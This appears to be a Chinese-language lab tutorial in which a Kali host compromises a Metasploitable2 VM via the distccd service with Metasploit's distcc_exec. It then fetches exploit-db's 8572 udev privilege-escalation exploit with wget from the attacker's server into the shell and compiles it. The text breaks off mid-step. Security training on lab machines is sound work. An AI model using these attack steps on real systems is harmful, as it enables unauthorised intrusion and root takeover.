利用本地漏洞提升权限

环境：
kali：192.168.43.131
metasploitables2:192.168.43.132

利用的是meta2上的distccd服务的漏洞，以下将metaspolitables2简称为tb2

步骤：
1、先用nmap扫一下td2的端口（服务）：
nmap -p- 192.168.43.132
2、发现distccd服务，打开msf，搜一下有没有该服务的漏洞利用程序：
msfconsole
search distccd
3、发现有一个：exploit/unix/misc/distcc_exec
use exploit/unix/misc/distcc_exec
show options
set RHOST 192.168.43.132
exploit

4、发现成功进入tb2，看下权限，发现是daemon权限：
whoami
...

5、提权
下载提升权限的exploit：www.exploit-db.com/exploits/8572
下载后将文件放到/var/www/html文件下，开启apache2服务：service apache2 start

先使用之前用msf得到的那个daemon权限的shell，来下载我们的提权exploit：
wget “http://192.168.43.131/8572.c”
然后编译一下：gcc 8572.c -o 8572

看一下exploit需要的参数，发现需要udevd netlink socket的PID，查一下：
ps aux|grep udev
注